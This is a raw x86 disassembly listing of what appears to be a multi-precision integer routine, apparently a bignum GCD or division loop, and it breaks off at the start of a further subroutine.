0806377e  c7 45 b8 00 00 00 00  movl  $0x0,0xffffffb8(%ebp)   ;0 'x0 x0 x0 x0' ""
08063785  89 45 b4           mov    %eax,0xffffffb4(%ebp)
08063788  0f 84 8e 00 00 00  je     0806381c <Unknown0357+0x1a1>  ;142 'x8e x0 x0 x0' ""
0806378e  89 f6              mov    %esi,%esi
08063790  b8 00 00 00 80     mov    $0x80000000,%eax  ;-2147483648 'x0 x0 x0 x80' ""
08063795  8a 4d b8           mov    0xffffffb8(%ebp),%cl
08063798  d3 e8              shr    %cl,%eax
0806379a  85 c2              test   %eax,%edx
0806379c  75 4c              jne    080637ea <Unknown0357+0x16f>
0806379e  0f bd da           bsr    %edx,%ebx
080637a1  83 f3 1f           xor    $0x1f,%ebx
080637a4  2b 5d b8           sub    0xffffffb8(%ebp),%ebx
080637a7  88 d9              mov    %bl,%cl
080637a9  d3 e2              shl    %cl,%edx
080637ab  b9 20 00 00 00     mov    $0x20,%ecx  ;32 'x20 x0 x0 x0' " "
080637b0  29 d9              sub    %ebx,%ecx
080637b2  89 f0              mov    %esi,%eax
080637b4  d3 e8              shr    %cl,%eax
080637b6  88 d9              mov    %bl,%cl
080637b8  01 5d b8           add    %ebx,0xffffffb8(%ebp)
080637bb  09 c2              or     %eax,%edx
080637bd  d3 e6              shl    %cl,%esi
080637bf  90                 nop
080637c0  39 d7              cmp    %edx,%edi
080637c2  77 09              ja     080637cd <Unknown0357+0x152>
080637c4  39 d7              cmp    %edx,%edi
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```
080637c6   75 14            jne     080637dc <Unknown0357+0x161>
080637c8   39 75 b4         cmp     %esi,0xffffffb4(%ebp)
080637cb   72 0f            jb      080637dc <Unknown0357+0x161>
080637cd   31 c0            xor     %eax,%eax
080637cf   39 75 b4         cmp     %esi,0xffffffb4(%ebp)
080637d2   0f 92 c0         setb    %al
080637d5   29 d7            sub     %edx,%edi
080637d7   29 c7            sub     %eax,%edi
080637d9   29 75 b4         sub     %esi,0xffffffb4(%ebp)
080637dc   89 d0            mov     %edx,%eax
080637de   d1 ee            shr     %esi
080637e0   c1 e0 1f         shl     $0x1f,%eax
080637e3   09 c6            or      %eax,%esi
080637e5   d1 ea            shr     %edx
080637e7   4b               dec     %ebx
080637e8   75 d6            jne     080637c0 <Unknown0357+0x145>
080637ea   39 d7            cmp     %edx,%edi
080637ec   77 09            ja      080637f7 <Unknown0357+0x17c>
080637ee   39 d7            cmp     %edx,%edi
080637f0   75 14            jne     08063806 <Unknown0357+0x18b>
080637f2   39 75 b4         cmp     %esi,0xffffffb4(%ebp)
080637f5   72 0f            jb      08063806 <Unknown0357+0x18b>
080637f7   31 c0            xor     %eax,%eax
080637f9   39 75 b4         cmp     %esi,0xffffffb4(%ebp)
080637fc   0f 92 c0         setb    %al
080637ff   29 d7            sub     %edx,%edi
08063801   29 c7            sub     %eax,%edi
08063803   29 75 b4         sub     %esi,0xffffffb4(%ebp)
08063806   89 f8            mov     %edi,%eax
08063808   89 d7            mov     %edx,%edi
0806380a   89 c2            mov     %eax,%edx
0806380c   8b 45 b4         mov     0xffffffb4(%ebp),%eax
0806380f   89 75 b4         mov     %esi,0xffffffb4(%ebp)
08063812   89 c6            mov     %eax,%esi
08063814   85 d2            test    %edx,%edx
08063816   0f 85 74 ff ff ff jne    08063790 <Unknown0357+0x115>  ;-140 'x74 xff xff xff' "t"
0806381c   56               push    %esi
0806381d   ff 75 18         pushl   0x18(%ebp)
08063820   ff 75 c4         pushl   0xffffffc4(%ebp)
08063823   ff 75 c4         pushl   0xffffffc4(%ebp)
08063826   e8 2d 08 00 00   call    08064058 <Unknown0362>
0806382b   8b 55 c4         mov     0xffffffc4(%ebp),%edx
0806382e   8b 5d 18         mov     0x18(%ebp),%ebx
08063831   89 04 9a         mov     %eax,(%edx,%ebx,4)
08063834   8b 02            mov     (%edx),%eax
08063836   5e               pop     %esi
08063837   5f               pop     %edi
08063838   89 45 e0         mov     %eax,0xffffffe0(%ebp)
0806383b   8b 42 04         mov     0x4(%edx),%eax
0806383e   6a 20            push    $0x20
08063840   6a 02            push    $0x2
08063842   ff 75 c0         pushl   0xffffffc0(%ebp)
08063845   6a 02            push    $0x2
08063847   8d 55 e0         lea     0xffffffe0(%ebp),%edx
0806384a   52               push    %edx
0806384b   43               inc     %ebx
0806384c   52               push    %edx
0806384d   89 45 e4         mov     %eax,0xffffffe4(%ebp)
08063850   e8 43 1d 00 00   call    08065598 <Unknown0380>
08063855   8b 4d c4         mov     0xffffffc4(%ebp),%ecx
08063858   83 65 e4 01      andl    $0x1,0xffffffe4(%ebp)
0806385c   c7 04 99 00 00 00 00 movl $0x0,(%ecx,%ebx,4)  ;0 'x0 x0 x0 x0' ""
08063863   43               inc     %ebx
08063864   89 5d 18         mov     %ebx,0x18(%ebp)
08063867   8b 5d e4         mov     0xffffffe4(%ebp),%ebx
0806386a   83 c4 20         add     $0x20,%esp
0806386d   85 db            test    %ebx,%ebx
0806386f   74 77            je      080638e8 <Unknown0357+0x26d>
08063871   8b 45 e0         mov     0xffffffe0(%ebp),%eax
08063874   f7 d8            neg     %eax
08063876   50               push    %eax
08063877   ff 75 bc         pushl   0xffffffbc(%ebp)
0806387a   ff 75 c0         pushl   0xffffffc0(%ebp)
0806387d   51               push    %ecx
0806387e   e8 cd 1c 00 00   call    08065550 <Unknown0378>
08063883   8b 55 10         mov     0x10(%ebp),%edx
08063886   8b 4d 14         mov     0x14(%ebp),%ecx
08063889   8d 1c 91         lea     (%ecx,%edx,4),%ebx
0806388c   8b 4d 18         mov     0x18(%ebp),%ecx
0806388f   29 d1            sub     %edx,%ecx
08063891   8b 13            mov     (%ebx),%edx
08063893   01 d0            add     %edx,%eax
08063895   83 c4 10         add     $0x10,%esp
08063898   8d 73 04         lea     0x4(%ebx),%esi
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0806389b   39 d0                cmp     %edx,%eax
0806389d   89 03                mov     %eax,(%ebx)
0806389f   89 f3                mov     %esi,%ebx
080638a1   73 21                jae     080638c4 <Unknown0357+0x249>
080638a3   49                   dec     %ecx
080638a4   0f 84 a9 00 00 00    je      08063953 <Unknown0357+0x2d8>   ;169 'xa9 x0 x0 x0' ""
080638aa   89 f6                mov     %esi,%esi
080638ac   8b 16                mov     (%esi),%edx
080638ae   42                   inc     %edx
080638af   83 c6 04             add     $0x4,%esi
080638b2   89 13                mov     %edx,(%ebx)
080638b4   83 c3 04             add     $0x4,%ebx
080638b7   85 d2                test    %edx,%edx
080638b9   75 09                jne     080638c4 <Unknown0357+0x249>
080638bb   49                   dec     %ecx
080638bc   75 ee                jne     080638ac <Unknown0357+0x231>
080638be   e9 90 00 00 00       jmp     08063953 <Unknown0357+0x2d8>   ;144 'x90 x0 x0 x0' ""
080638c3   90                   nop
080638c4   39 f3                cmp     %esi,%ebx
080638c6   0f 84 87 00 00 00    je      08063953 <Unknown0357+0x2d8>   ;135 'x87 x0 x0 x0' ""
080638cc   31 d2                xor     %edx,%edx
080638ce   8d 41 ff             lea     0xffffffff(%ecx),%eax
080638d1   39 c2                cmp     %eax,%edx
080638d3   7d 7e                jge     08063953 <Unknown0357+0x2d8>
080638d5   89 c1                mov     %eax,%ecx
080638d7   90                   nop
080638d8   8b 04 96             mov     (%esi,%edx,4),%eax
080638db   89 04 93             mov     %eax,(%ebx,%edx,4)
080638de   42                   inc     %edx
080638df   39 ca                cmp     %ecx,%edx
080638e1   7c f5                jl      080638d8 <Unknown0357+0x25d>
080638e3   eb 6e                jmp     08063953 <Unknown0357+0x2d8>
080638e5   8d 76 00             lea     0x0(%esi),%esi
080638e8   ff 75 e0             pushl   0xffffffe0(%ebp)
080638eb   ff 75 bc             pushl   0xffffffbc(%ebp)
080638ee   ff 75 c0             pushl   0xffffffc0(%ebp)
080638f1   ff 75 c4             pushl   0xffffffc4(%ebp)
080638f4   e8 d7 16 00 00       call    08064fd0 <Unknown0374>
080638f9   8b 5d 10             mov     0x10(%ebp),%ebx
080638fc   8b 55 14             mov     0x14(%ebp),%edx
080638ff   8d 34 9a             lea     (%edx,%ebx,4),%esi
08063902   8b 0e                mov     (%esi),%ecx
08063904   89 ca                mov     %ecx,%edx
08063906   8b 5d 18             mov     0x18(%ebp),%ebx
08063909   29 c2                sub     %eax,%edx
0806390b   2b 5d 10             sub     0x10(%ebp),%ebx
0806390e   83 c4 10             add     $0x10,%esp
08063911   8d 7e 04             lea     0x4(%esi),%edi
08063914   39 ca                cmp     %ecx,%edx
08063916   89 16                mov     %edx,(%esi)
08063918   89 fe                mov     %edi,%esi
0806391a   76 1c                jbe     08063938 <Unknown0357+0x2bd>
0806391c   4b                   dec     %ebx
0806391d   74 34                je      08063953 <Unknown0357+0x2d8>
0806391f   90                   nop
08063920   8b 0f                mov     (%edi),%ecx
08063922   8d 41 ff             lea     0xffffffff(%ecx),%eax
08063925   83 c7 04             add     $0x4,%edi
08063928   89 06                mov     %eax,(%esi)
0806392a   83 c6 04             add     $0x4,%esi
0806392d   85 c9                test    %ecx,%ecx
0806392f   75 07                jne     08063938 <Unknown0357+0x2bd>
08063931   4b                   dec     %ebx
08063932   75 ec                jne     08063920 <Unknown0357+0x2a5>
08063934   eb 1d                jmp     08063953 <Unknown0357+0x2d8>
08063936   89 f6                mov     %esi,%esi
08063938   39 fe                cmp     %edi,%esi
0806393a   74 17                je      08063953 <Unknown0357+0x2d8>
0806393c   31 d2                xor     %edx,%edx
0806393e   8d 4b ff             lea     0xffffffff(%ebx),%ecx
08063941   39 ca                cmp     %ecx,%edx
08063943   7d 0e                jge     08063953 <Unknown0357+0x2d8>
08063945   8d 76 00             lea     0x0(%esi),%esi
08063948   8b 04 97             mov     (%edi,%edx,4),%eax
0806394b   89 04 96             mov     %eax,(%esi,%edx,4)
0806394e   42                   inc     %edx
0806394f   39 ca                cmp     %ecx,%edx
08063951   7c f5                jl      08063948 <Unknown0357+0x2cd>
08063953   83 45 14 08          addl    $0x8,0x14(%ebp)
08063957   83 6d 18 02          subl    $0x2,0x18(%ebp)
0806395b   8b 55 18             mov     0x18(%ebp),%edx
0806395e   85 d2                test    %edx,%edx
08063960   74 1c                je      0806397e <Unknown0357+0x303>
08063962   8b 4d 14             mov     0x14(%ebp),%ecx
```

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08063965  8b 01              mov     (%ecx),%eax
08063967  85 c0              test    %eax,%eax
08063969  75 13              jne     0806397e <Unknown0357+0x303>
0806396b  90                 nop
0806396c  83 45 14 04        addl    $0x4,0x14(%ebp)
08063970  ff 4d 18           decl    0x18(%ebp)
08063973  74 09              je      0806397e <Unknown0357+0x303>
08063975  8b 5d 14           mov     0x14(%ebp),%ebx
08063978  8b 3b              mov     (%ebx),%edi
0806397a  85 ff              test    %edi,%edi
0806397c  74 ee              je      0806396c <Unknown0357+0x2f1>
0806397e  8b 75 18           mov     0x18(%ebp),%esi
08063981  85 f6              test    %esi,%esi
08063983  0f 85 7f fc ff ff  jne     08063608 <Unknown0356+0x110>  ;-897 'x7f xfc xff xff' ""
08063989  8b 45 cc           mov     0xffffffcc(%ebp),%eax
0806398c  8b 55 c8           mov     0xffffffc8(%ebp),%edx
0806398f  89 45 14           mov     %eax,0x14(%ebp)
08063992  89 55 18           mov     %edx,0x18(%ebp)
08063995  c7 45 d4 02 00 00 00  movl  $0x2,0xffffffd4(%ebp)  ;2 'x2 x0 x0 x0' ""
0806399c  eb 09              jmp     080639a7 <Unknown0357+0x32c>
0806399e  89 f6              mov     %esi,%esi
080639a0  c7 45 d4 01 00 00 00  movl  $0x1,0xffffffd4(%ebp)  ;1 'x1 x0 x0 x0' ""
080639a7  ff 4d d4           decl    0xffffffd4(%ebp)
080639aa  83 7d d4 ff        cmpl    $0xffffffff,0xffffffd4(%ebp)
080639ae  0f 84 01 03 00 00  je      08063cb5 <Unknown0357+0x63a>  ;769 'x1 x3 x0 x0' ""
080639b4  83 7d 18 02        cmpl    $0x2,0x18(%ebp)
080639b8  7e 66              jle     08063a20 <Unknown0357+0x3a5>
080639ba  8b 4d 18           mov     0x18(%ebp),%ecx
080639bd  8b 5d 14           mov     0x14(%ebp),%ebx
080639c0  0f bd 44 8b fc     bsr     0xfffffffc(%ebx,%ecx,4),%eax
080639c5  83 f0 1f           xor     $0x1f,%eax
080639c8  89 ca              mov     %ecx,%edx
080639ca  c1 e2 05           shl     $0x5,%edx
080639cd  29 c2              sub     %eax,%edx
080639cf  8b 45 10           mov     0x10(%ebp),%eax
080639d2  8b 5d 0c           mov     0xc(%ebp),%ebx
080639d5  0f bd 4c 83 fc     bsr     0xfffffffc(%ebx,%eax,4),%ecx
080639da  83 f1 1f           xor     $0x1f,%ecx
080639dd  c1 e0 05           shl     $0x5,%eax
080639e0  29 c8              sub     %ecx,%eax
080639e2  29 c2              sub     %eax,%edx
080639e4  8d 5a ff           lea     0xffffffff(%edx),%ebx
080639e7  83 fb ff           cmp     $0xffffffff,%ebx
080639ea  74 34              je      08063a20 <Unknown0357+0x3a5>
080639ec  83 fb 02           cmp     $0x2,%ebx
080639ef  76 2f              jbe     08063a20 <Unknown0357+0x3a5>
080639f1  83 ec 08           sub     $0x8,%esp
080639f4  53                 push    %ebx
080639f5  ff 75 10           pushl   0x10(%ebp)
080639f8  ff 75 0c           pushl   0xc(%ebp)
080639fb  ff 75 18           pushl   0x18(%ebp)
080639fe  ff 75 14           pushl   0x14(%ebp)
08063a01  ff 75 14           pushl   0x14(%ebp)
08063a04  e8 8f 1b 00 00     call    08065598 <Unknown0380>
08063a09  89 d8              mov     %ebx,%eax
08063a0b  c1 e8 05           shr     $0x5,%eax
08063a0e  8b 55 14           mov     0x14(%ebp),%edx
08063a11  8d 14 82           lea     (%edx,%eax,4),%edx
08063a14  89 55 14           mov     %edx,0x14(%ebp)
08063a17  29 45 18           sub     %eax,0x18(%ebp)
08063a1a  83 c4 20           add     $0x20,%esp
08063a1d  8d 76 00           lea     0x0(%esi),%esi
08063a20  8b 5d 18           mov     0x18(%ebp),%ebx
08063a23  85 db              test    %ebx,%ebx
08063a25  7e 28              jle     08063a4f <Unknown0357+0x3d4>
08063a27  8b 4d 18           mov     0x18(%ebp),%ecx
08063a2a  8b 5d 14           mov     0x14(%ebp),%ebx
08063a2d  8d 04 8b           lea     (%ebx,%ecx,4),%eax
08063a30  8b 48 fc           mov     0xfffffffc(%eax),%ecx
08063a33  85 c9              test    %ecx,%ecx
08063a35  75 18              jne     08063a4f <Unknown0357+0x3d4>
08063a37  83 e8 04           sub     $0x4,%eax
08063a3a  89 f6              mov     %esi,%esi
08063a3c  ff 4d 18           decl    0x18(%ebp)
08063a3f  8b 55 18           mov     0x18(%ebp),%edx
08063a42  83 e8 04           sub     $0x4,%eax
08063a45  85 d2              test    %edx,%edx
08063a47  7e 06              jle     08063a4f <Unknown0357+0x3d4>
08063a49  8b 38              mov     (%eax),%edi
08063a4b  85 ff              test    %edi,%edi
08063a4d  74 ed              je      08063a3c <Unknown0357+0x3c1>
08063a4f  8b 55 14           mov     0x14(%ebp),%edx
08063a52  8b 02              mov     (%edx),%eax
08063a54  85 c0              test    %eax,%eax
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08063a56   75 10              jne      08063a68 <Unknown0357+0x3ed>
08063a58   83 45 14 04        addl     $0x4,0x14(%ebp)
08063a5c   ff 4d 18           decl     0x18(%ebp)
08063a5f   8b 4d 14           mov      0x14(%ebp),%ecx
08063a62   8b 01              mov      (%ecx),%eax
08063a64   85 c0              test     %eax,%eax
08063a66   74 f0              je       08063a58 <Unknown0357+0x3dd>
08063a68   83 e0 01           and      $0x1,%eax
08063a6b   75 27              jne      08063a94 <Unknown0357+0x419>
08063a6d   8b 5d 14           mov      0x14(%ebp),%ebx
08063a70   0f bc 03           bsf      (%ebx),%eax
08063a73   50                 push     %eax
08063a74   ff 75 18           pushl    0x18(%ebp)
08063a77   53                 push     %ebx
08063a78   53                 push     %ebx
08063a79   e8 8a 10 00 00     call     08064b08 <Unknown0369>
08063a7e   8b 55 18           mov      0x18(%ebp),%edx
08063a81   8b 74 93 fc        mov      0xfffffffc(%ebx,%edx,4),%esi
08063a85   31 c0              xor      %eax,%eax
08063a87   83 c4 10           add      $0x10,%esp
08063a8a   85 f6              test     %esi,%esi
08063a8c   0f 94 c0           sete     %al
08063a8f   29 c2              sub      %eax,%edx
08063a91   89 55 18           mov      %edx,0x18(%ebp)
08063a94   8b 4d 10           mov      0x10(%ebp),%ecx
08063a97   39 4d 18           cmp      %ecx,0x18(%ebp)
08063a9a   7d 15              jge      08063ab1 <Unknown0357+0x436>
08063a9c   8b 45 14           mov      0x14(%ebp),%eax
08063a9f   8b 5d 0c           mov      0xc(%ebp),%ebx
08063aa2   89 5d 14           mov      %ebx,0x14(%ebp)
08063aa5   89 45 0c           mov      %eax,0xc(%ebp)
08063aa8   8b 45 18           mov      0x18(%ebp),%eax
08063aab   89 4d 18           mov      %ecx,0x18(%ebp)
08063aae   89 45 10           mov      %eax,0x10(%ebp)
08063ab1   31 f6              xor      %esi,%esi
08063ab3   83 7d 18 02        cmpl     $0x2,0x18(%ebp)
08063ab7   0f 8f 07 01 00 00  jg       08063bc4 <Unknown0357+0x549>   ;263 'x7 x1 x0 x0' ""
08063abd   83 7d 10 01        cmpl     $0x1,0x10(%ebp)
08063ac1   75 21              jne      08063ae4 <Unknown0357+0x469>
08063ac3   53                 push     %ebx
08063ac4   8b 45 0c           mov      0xc(%ebp),%eax
08063ac7   ff 30              pushl    (%eax)
08063ac9   ff 75 18           pushl    0x18(%ebp)
08063acc   ff 75 14           pushl    0x14(%ebp)
08063acf   e8 b8 f9 ff ff     call     0806348c <Unknown0355>
08063ad4   8b 55 0c           mov      0xc(%ebp),%edx
08063ad7   89 02              mov      %eax,(%edx)
08063ad9   83 c4 10           add      $0x10,%esp
08063adc   e9 bb 01 00 00     jmp      08063c9c <Unknown0357+0x621>   ;443 'xbb x1 x0 x0' ""
08063ae1   8d 76 00           lea      0x0(%esi),%esi
08063ae4   8b 4d 14           mov      0x14(%ebp),%ecx
08063ae7   8b 41 04           mov      0x4(%ecx),%eax
08063aea   8b 55 0c           mov      0xc(%ebp),%edx
08063aed   8b 31              mov      (%ecx),%esi
08063aef   89 45 b0           mov      %eax,0xffffffb0(%ebp)
08063af2   8b 7a 04           mov      0x4(%edx),%edi
08063af5   39 f8              cmp      %edi,%eax
08063af7   8b 1a              mov      (%edx),%ebx
08063af9   eb 58              jmp      08063b53 <Unknown0357+0x4d8>
08063afb   90                 nop
08063afc   39 7d b0           cmp      %edi,0xffffffb0(%ebp)
08063aff   76 2b              jbe      08063b2c <Unknown0357+0x4b1>
08063b01   31 c0              xor      %eax,%eax
08063b03   39 de              cmp      %ebx,%esi
08063b05   0f 92 c0           setb     %al
08063b08   29 7d b0           sub      %edi,0xffffffb0(%ebp)
08063b0b   29 45 b0           sub      %eax,0xffffffb0(%ebp)
08063b0e   29 de              sub      %ebx,%esi
08063b10   b9 20 00 00 00     mov      $0x20,%ecx   ;32 'x20 x0 x0 x0' " "
08063b15   0f bc d6           bsf      %esi,%edx
08063b18   29 d1              sub      %edx,%ecx
08063b1a   8b 45 b0           mov      0xffffffb0(%ebp),%eax
08063b1d   d3 e0              shl      %cl,%eax
08063b1f   88 d1              mov      %dl,%cl
08063b21   d3 ee              shr      %cl,%esi
08063b23   09 c6              or       %eax,%esi
08063b25   d3 6d b0           shrl     %cl,0xffffffb0(%ebp)
08063b28   eb 26              jmp      08063b50 <Unknown0357+0x4d5>
08063b2a   89 f6              mov      %esi,%esi
08063b2c   31 c0              xor      %eax,%eax
08063b2e   39 f3              cmp      %esi,%ebx
08063b30   0f 92 c0           setb     %al
08063b33   2b 7d b0           sub      0xffffffb0(%ebp),%edi
08063b36   29 c7              sub      %eax,%edi
```

```
08063b38   29 f3                 sub     %esi,%ebx
08063b3a   b9 20 00 00 00        mov     $0x20,%ecx   ;32 'x20 x0 x0 x0' " "
08063b3f   0f bc d3              bsf     %ebx,%edx
08063b42   29 d1                 sub     %edx,%ecx
08063b44   89 f8                 mov     %edi,%eax
08063b46   d3 e0                 shl     %cl,%eax
08063b48   88 d1                 mov     %dl,%cl
08063b4a   d3 eb                 shr     %cl,%ebx
08063b4c   09 c3                 or      %eax,%ebx
08063b4e   d3 ef                 shr     %cl,%edi
08063b50   39 7d b0              cmp     %edi,0xffffffb0(%ebp)
08063b53   74 04                 je      08063b59 <Unknown0357+0x4de>
08063b55   39 de                 cmp     %ebx,%esi
08063b57   75 a3                 jne     08063afc <Unknown0357+0x481>
08063b59   8b 45 0c              mov     0xc(%ebp),%eax
08063b5c   31 d2                 xor     %edx,%edx
08063b5e   85 ff                 test    %edi,%edi
08063b60   0f 95 c2              setne   %dl
08063b63   89 18                 mov     %ebx,(%eax)
08063b65   89 78 04              mov     %edi,0x4(%eax)
08063b68   42                    inc     %edx
08063b69   39 7d b0              cmp     %edi,0xffffffb0(%ebp)
08063b6c   75 0b                 jne     08063b79 <Unknown0357+0x4fe>
08063b6e   39 de                 cmp     %ebx,%esi
08063b70   89 55 10              mov     %edx,0x10(%ebp)
08063b73   0f 84 23 01 00 00     je      08063c9c <Unknown0357+0x621>   ;291 'x23 x1 x0 x0' "#"
08063b79   39 de                 cmp     %ebx,%esi
08063b7b   75 17                 jne     08063b94 <Unknown0357+0x519>
08063b7d   39 7d b0              cmp     %edi,0xffffffb0(%ebp)
08063b80   76 0a                 jbe     08063b8c <Unknown0357+0x511>
08063b82   8b 45 b0              mov     0xffffffb0(%ebp),%eax
08063b85   29 f8                 sub     %edi,%eax
08063b87   eb 1b                 jmp     08063ba4 <Unknown0357+0x529>
08063b89   8d 76 00              lea     0x0(%esi),%esi
08063b8c   89 f8                 mov     %edi,%eax
08063b8e   2b 45 b0              sub     0xffffffb0(%ebp),%eax
08063b91   eb 11                 jmp     08063ba4 <Unknown0357+0x529>
08063b93   90                    nop
08063b94   39 de                 cmp     %ebx,%esi
08063b96   76 08                 jbe     08063ba0 <Unknown0357+0x525>
08063b98   89 f0                 mov     %esi,%eax
08063b9a   29 d8                 sub     %ebx,%eax
08063b9c   eb 06                 jmp     08063ba4 <Unknown0357+0x529>
08063b9e   89 f6                 mov     %esi,%esi
08063ba0   89 d8                 mov     %ebx,%eax
08063ba2   29 f0                 sub     %esi,%eax
08063ba4   51                    push    %ecx
08063ba5   50                    push    %eax
08063ba6   52                    push    %edx
08063ba7   ff 75 0c              pushl   0xc(%ebp)
08063baa   e8 dd f8 ff ff        call    0806348c <Unknown0355>
08063baf   8b 55 0c              mov     0xc(%ebp),%edx
08063bb2   89 02                 mov     %eax,(%edx)
08063bb4   83 c4 10              add     $0x10,%esp
08063bb7   c7 45 10 01 00 00 00  movl    $0x1,0x10(%ebp)   ;1 'x1 x0 x0 x0' ""
08063bbe   e9 d9 00 00 00        jmp     08063c9c <Unknown0357+0x621>   ;217 'xd9 x0 x0 x0' ""
08063bc3   90                    nop
08063bc4   8b 4d 0c              mov     0xc(%ebp),%ecx
08063bc7   8b 04 b1              mov     (%ecx,%esi,4),%eax
08063bca   8b 5d 14              mov     0x14(%ebp),%ebx
08063bcd   39 04 b3              cmp     %eax,(%ebx,%esi,4)
08063bd0   75 06                 jne     08063bd8 <Unknown0357+0x55d>
08063bd2   46                    inc     %esi
08063bd3   3b 75 10              cmp     0x10(%ebp),%esi
08063bd6   75 ec                 jne     08063bc4 <Unknown0357+0x549>
08063bd8   3b 75 10              cmp     0x10(%ebp),%esi
08063bdb   75 17                 jne     08063bf4 <Unknown0357+0x579>
08063bdd   8b 55 14              mov     0x14(%ebp),%edx
08063be0   8b 45 10              mov     0x10(%ebp),%eax
08063be3   8d 14 82              lea     (%edx,%eax,4),%edx
08063be6   89 55 14              mov     %edx,0x14(%ebp)
08063be9   29 45 18              sub     %eax,0x18(%ebp)
08063bec   e9 a0 00 00 00        jmp     08063c91 <Unknown0357+0x616>   ;160 'xa0 x0 x0 x0' ""
08063bf1   8d 76 00              lea     0x0(%esi),%esi
08063bf4   8b 4d 10              mov     0x10(%ebp),%ecx
08063bf7   39 4d 18              cmp     %ecx,0x18(%ebp)
08063bfa   75 48                 jne     08063c44 <Unknown0357+0x5c9>
08063bfc   89 ca                 mov     %ecx,%edx
08063bfe   89 f6                 mov     %esi,%esi
08063c00   4a                    dec     %edx
08063c01   8b 5d 14              mov     0x14(%ebp),%ebx
08063c04   8b 0c 93              mov     (%ebx,%edx,4),%ecx
08063c07   8b 5d 0c              mov     0xc(%ebp),%ebx
08063c0a   8b 04 93              mov     (%ebx,%edx,4),%eax
```

```
08063c0d   39 c1                    cmp     %eax,%ecx
08063c0f   74 ef                    je      08063c00 <Unknown0357+0x585>
08063c11   39 c1                    cmp     %eax,%ecx
08063c13   73 09                    jae     08063c1e <Unknown0357+0x5a3>
08063c15   8b 45 14                 mov     0x14(%ebp),%eax
08063c18   89 45 0c                 mov     %eax,0xc(%ebp)
08063c1b   89 5d 14                 mov     %ebx,0x14(%ebp)
08063c1e   29 f2                    sub     %esi,%edx
08063c20   42                       inc     %edx
08063c21   8d 04 b5 00 00 00 00     lea     0x0(,%esi,4),%eax   ;0 'x0 x0 x0 x0' ""
08063c28   52                       push    %edx
08063c29   01 45 14                 add     %eax,0x14(%ebp)
08063c2c   03 45 0c                 add     0xc(%ebp),%eax
08063c2f   50                       push    %eax
08063c30   ff 75 14                 pushl   0x14(%ebp)
08063c33   ff 75 14                 pushl   0x14(%ebp)
08063c36   89 55 18                 mov     %edx,0x18(%ebp)
08063c39   e8 da 13 00 00           call    08065018 <Unknown0375>
08063c3e   83 c4 10                 add     $0x10,%esp
08063c41   eb 4e                    jmp     08063c91 <Unknown0357+0x616>
08063c43   90                       nop
08063c44   8b 5d 10                 mov     0x10(%ebp),%ebx
08063c47   29 f3                    sub     %esi,%ebx
08063c49   8d 04 b5 00 00 00 00     lea     0x0(,%esi,4),%eax   ;0 'x0 x0 x0 x0' ""
08063c50   01 45 14                 add     %eax,0x14(%ebp)
08063c53   53                       push    %ebx
08063c54   03 45 0c                 add     0xc(%ebp),%eax
08063c57   50                       push    %eax
08063c58   ff 75 14                 pushl   0x14(%ebp)
08063c5b   29 75 18                 sub     %esi,0x18(%ebp)
08063c5e   ff 75 14                 pushl   0x14(%ebp)
08063c61   e8 b2 13 00 00           call    08065018 <Unknown0375>
08063c66   83 c4 10                 add     $0x10,%esp
08063c69   85 c0                    test    %eax,%eax
08063c6b   74 24                    je      08063c91 <Unknown0357+0x616>
08063c6d   8b 55 14                 mov     0x14(%ebp),%edx
08063c70   8b 04 9a                 mov     (%edx,%ebx,4),%eax
08063c73   85 c0                    test    %eax,%eax
08063c75   75 13                    jne     08063c8a <Unknown0357+0x60f>
08063c77   90                       nop
08063c78   8b 4d 14                 mov     0x14(%ebp),%ecx
08063c7b   c7 04 99 ff ff ff ff     movl    $0xffffffff,(%ecx,%ebx,4)   ;-1 'xff xff xff xff' ""
08063c82   43                       inc     %ebx
08063c83   8b 04 99                 mov     (%ecx,%ebx,4),%eax
08063c86   85 c0                    test    %eax,%eax
08063c88   74 ee                    je      08063c78 <Unknown0357+0x5fd>
08063c8a   48                       dec     %eax
08063c8b   8b 55 14                 mov     0x14(%ebp),%edx
08063c8e   89 04 9a                 mov     %eax,(%edx,%ebx,4)
08063c91   8b 45 18                 mov     0x18(%ebp),%eax
08063c94   85 c0                    test    %eax,%eax
08063c96   0f 85 84 fd ff ff        jne     08063a20 <Unknown0357+0x3a5>   ;-636 'x84 xfd xff xff' ""
08063c9c   ff 4d d4                 decl    0xffffffd4(%ebp)
08063c9f   8b 4d dc                 mov     0xffffffdc(%ebp),%ecx
08063ca2   8b 5d d8                 mov     0xffffffd8(%ebp),%ebx
08063ca5   83 7d d4 ff              cmpl    $0xffffffff,0xffffffd4(%ebp)
08063ca9   89 4d 14                 mov     %ecx,0x14(%ebp)
08063cac   89 5d 18                 mov     %ebx,0x18(%ebp)
08063caf   0f 85 ff fc ff ff        jne     080639b4 <Unknown0357+0x339>   ;-769 'xff xfc xff xff' ""
08063cb5   8b 45 08                 mov     0x8(%ebp),%eax
08063cb8   39 45 0c                 cmp     %eax,0xc(%ebp)
08063cbb   74 19                    je      08063cd6 <Unknown0357+0x65b>
08063cbd   31 d2                    xor     %edx,%edx
08063cbf   3b 55 10                 cmp     0x10(%ebp),%edx
08063cc2   7d 12                    jge     08063cd6 <Unknown0357+0x65b>
08063cc4   8b 4d 0c                 mov     0xc(%ebp),%ecx
08063cc7   8b 04 91                 mov     (%ecx,%edx,4),%eax
08063cca   8b 5d 08                 mov     0x8(%ebp),%ebx
08063ccd   89 04 93                 mov     %eax,(%ebx,%edx,4)
08063cd0   42                       inc     %edx
08063cd1   3b 55 10                 cmp     0x10(%ebp),%edx
08063cd4   7c ee                    jl      08063cc4 <Unknown0357+0x649>
08063cd6   8b 45 10                 mov     0x10(%ebp),%eax
08063cd9   8d 65 f4                 lea     0xfffffff4(%ebp),%esp
08063cdc   5b                       pop     %ebx
08063cdd   5e                       pop     %esi
08063cde   5f                       pop     %edi
08063cdf   5d                       pop     %ebp
08063ce0   c3                       ret
08063ce1   8d 76 00                 lea     0x0(%esi),%esi


  ;
  ; >---------------------<  Subroutine # 358 >---------------------<
```

```
     ;
08063ce4 <Unknown0358>:
08063ce4  55                       push   %ebp
08063ce5  89 e5                    mov    %esp,%ebp
08063ce7  57                       push   %edi
08063ce8  56                       push   %esi
08063ce9  53                       push   %ebx
08063cea  83 ec 2c                 sub    $0x2c,%esp
08063ced  8b 45 0c                 mov    0xc(%ebp),%eax
08063cf0  8b 4d 14                 mov    0x14(%ebp),%ecx
08063cf3  c1 e0 04                 shl    $0x4,%eax
08063cf6  85 c9                    test   %ecx,%ecx
08063cf8  8b b8 e8 57 07 08        mov    0x80757e8(%eax),%edi   ;[in .rodata] 0 'x0 x0 x0 x0' ""
08063cfe  8b 75 08                 mov    0x8(%ebp),%esi
